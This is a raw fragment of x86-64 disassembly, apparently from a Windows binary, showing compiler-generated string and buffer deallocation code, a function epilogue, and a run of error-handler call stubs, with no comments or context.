mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003540
call fcn.140008fc8
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140003283
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000327e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003546
call fcn.140008fc8
movdqa xmm0, xmmword [0x14002b930]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rax, qword [rbp + 0x78]
cmp rax, 0xf
jbe 0x1400032d1
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400032c8
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000354c
mov rcx, r12
call fcn.140008fc8
nop
mov rax, qword [rbp + 0x98]
cmp rax, 0xf
jbe 0x140003314
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000330e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003552
call fcn.140008fc8
nop
mov rax, qword [rbp + 0xb8]
cmp rax, 0xf
jbe 0x140003357
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003351
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003558
call fcn.140008fc8
nop
mov rax, qword [rbp - 0x68]
cmp rax, 0xf
jbe 0x140003394
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000338e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000355e
call fcn.140008fc8
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x1400033da
mov rdx, qword [rbp - 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003564
call fcn.140008fc8
mov qword [rbp - 0x18], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov rcx, qword [rbp]
test rcx, rcx
je 0x140003420
mov rdx, qword [rbp + 0x10]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000340f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000356a
call fcn.140008fc8
mov qword [rbp], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140003462
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000345c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003570
call fcn.140008fc8
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14000349f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000349a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034bc
call fcn.140008fc8
xor eax, eax
jmp 0x1400034a8
mov eax, 1
add rsp, 0x14d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400121dc
nop
call fcn.140001160
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.140001200
int3
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.140007670
int3
call fcn.140001160
int3
call fcn.1400121dc
nop
call fcn.140007670
int3
call fcn.140001160
int3
call fcn.1400121dc
nop
call fcn.140007670
int3
call fcn.140001160
int3
call fcn.1400121dc
nop
call fcn.140007670
int3
call fcn.140001160
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
nop
call fcn.1400121dc
int3